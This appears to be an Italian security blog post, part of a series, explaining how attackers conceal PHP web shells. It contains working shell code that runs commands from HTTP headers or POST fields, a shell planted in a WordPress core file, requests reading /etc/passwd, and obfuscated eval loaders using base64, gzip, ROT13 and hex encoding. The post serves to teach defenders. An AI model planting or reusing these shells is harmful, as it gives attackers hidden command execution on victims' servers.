Diventa Autore per CoreTech | Scopri di più
07/07/20 CoreTech Blog
Nella parte 2 di questa serie, abbiamo esaminato esempi specifici di shell Web nel linguaggio di programmazione PHP. Nella parte 3 di questa serie, esamineremo alcune tecniche utilizzate dagli aggressori per mantenere nascoste le shell web.
I comandi possono essere inviati alla shell web usando vari metodi con la richiesta HTTP POST più comune. Tuttavia, gli hacker malintenzionati non sono esattamente le persone che rispettano le regole. Di seguito sono riportati alcuni dei possibili trucchi che gli aggressori possono utilizzare per mantenere le shell web sotto il radar.
Invece di passare il comando tramite il $_POST
parametro request, usano la stringa dell'agente utente.
<?php system($_SERVER['HTTP_USER_AGENT'])?>
L'aggressore dovrebbe quindi creare richieste HTTP specifiche inserendo il comando all'interno dell'intestazione User-Agent
HTTP.
GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: cat /etc/passwd
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4
Gli effetti di questo comportamento sono visibili nel registro del server, dove l'HTTP User-Agent
della seconda richiesta è stato sostituito dal cat /etc/passwd
comando.
192.168.5.26 - - [28/Feb/2020:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
192.168.5.26 - - [28/Feb/2020:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"
Il metodo sopra è rumoroso e può facilmente dare la mancia a un amministratore che guarda i log del server. Il seguente, tuttavia, non lo è.
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch
Accept-Language: cat /etc/passwd
Il metodo sopra non lascia tracce visibili (almeno nel registro degli accessi) per quanto riguarda il comando eseguito.
192.168.5.26 - - [28/Feb/2020:20:48:05 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
La maggior parte delle conchiglie PHP popolari come c99, r57, b374
, e altri usano nomi di file che sono ben noti e facilmente far sorgere il sospetto. Sono nella lista nera e possono essere facilmente identificati. Uno dei modi più semplici che gli aggressori usano per nascondere le shell web è caricarle in sottodirectory profonde e / o usando nomi casuali.
http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php
Un modo più efficace è quello di incorporare il codice della shell Web in file già esistenti e legittimi.
http://www.example.com/index.php
http://www.example.com/about.php
// http://www.example.com/wp-content/wp-blog-header.php
if ( !isset($wp_did_header) ) {
$wp_did_header = true;
// Load the WordPress Core System
system($_SERVER['HTTP_ACCEPT_LANGUAGE']);
// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );
// Set up the WordPress query
wp();
// Load the theme template
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
Nota : un utente malintenzionato può utilizzare l'operatore @ prima di una funzione per eliminare eventuali errori che possono essere generati e successivamente scritti nel registro degli errori.
Gli aggressori utilizzano varie tecniche di offuscamento per evitare di essere rilevati dagli amministratori o da altri aggressori. Continuano a trovare modi nuovi e più sofisticati per nascondere il loro codice e bypassare i sistemi di sicurezza. Di seguito vedremo alcune delle tecniche più comuni utilizzate.
Rimuovendo lo spazio bianco da un blocco di codice, sembra una grande stringa, che rende meno leggibile e più difficile identificare ciò che fa lo script.
<?php
// Whitespace makes things easy to read
function myshellexec($cmd){
global $disablefunc; $result = "";
if (!empty($cmd)){
if (is_callable("exec") && !in_array("exec",$disablefunc)) {
exec($cmd,$result); $result = join("",$result);
}
}
}
// Whitespace removed makes things harder to read
function myshellexec($cmd) {global $disablefunc;$result = "";
if(!empty($cmd)) { if (is_callable("exec") and
!in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",$result);}}}
?>
Scrambling è una tecnica che può essere utilizzata efficacemente in combinazione con altri per aiutare una shell web a non essere rilevata. Scrambles il codice rendendolo illeggibile e si avvale di varie funzioni che ricostruiranno il codice quando eseguito.
<?php
// Scrambled
$k='c3lzdGVtKCdscyAtbGEnKTs=';$c=strrev('(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);
// Unscrambled
// base_64 encoded string -> system('ls -la');
$k='c3lzdGVtKCdscyAtbGEnKTs=';
// strrev() reverses a given string: strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
// $c = system('ls -la');
$f=eval($c);
eval($f);
Le shell Web in genere utilizzano tecniche aggiuntive per nascondere ciò che stanno facendo. Di seguito sono riportate alcune funzioni comuni che le shell Web basate su PHP sfruttano per non essere rilevate.
eval()
: Una funzione che valuta una determinata stringa come codice PHPassert()
: Una funzione che valuta una determinata stringa come codice PHPbase64()
: Codifica i dati con la codifica MIME base64gzdeflate()
: Comprime una stringa utilizzando il formato dati DEFLATE; gzinflate () lo decomprimestr_rot13()
: Sposta ogni lettera di una determinata stringa di 13 posizioni nell'alfabetoGli esempi seguenti producono tutti lo stesso risultato, tuttavia, un utente malintenzionato potrebbe scegliere di utilizzare più tecniche di offuscamento affinché la shell Web mantenga un profilo basso.
<?php
// Evaluates the string "system('ls -la');" as PHP code
eval("system('ls -la');");
// Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
// Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
// Decodes the compressed, ROT13 encoded, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA=='))));
// Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
?>
I valori esadecimali di caratteri ASCII possono anche essere usati per offuscare ulteriormente i comandi della web shell. Prendiamo la seguente stringa come esempio.
system('cat /etc/passwd');
Di seguito è riportato il valore della stringa sopra in esadecimale.
73797374656d2827636174202f6574632f70617373776427293b
Pertanto, il seguente codice può essere utilizzato per accettare una stringa con codifica esadecimale e valutarla come codice PHP.
<?php <br ?--> // function that accepts a hex encoded data
function dcd($hex){
// split $hex
for ($i=0; $i < strlen($hex)-1; $i+=2){
//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
// evaluate/execute the command
eval($string);
}
dcd('73797374656d2827636174202f6574632f70617373776427293b');
?>
L'output sarebbe simile all'esempio seguente.
Gli esempi sopra possono essere tutti decodificati usando vari strumenti, anche se sono codificati più volte. In alcuni casi, gli aggressori possono scegliere di utilizzare la crittografia, anziché la codifica, per rendere più difficile determinare cosa sta facendo la shell web.
L'esempio seguente è semplice, ma pratico. Sebbene il codice non sia codificato o crittografato, è ancora meno rilevabile rispetto al precedente perché non utilizza nomi di funzioni sospette (come eval()
o assert()
), stringhe codificate lunghe, codice complicato; e, soprattutto, non farà scattare alcuna bandiera rossa quando gli amministratori visualizzano i registri (in una certa misura).
<?php
// Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'
$_=$_POST['1'];
$__=$_POST['2'];
//The following will now be equivalent to running -> system('cat /etc/passwd');
$_($__);
?>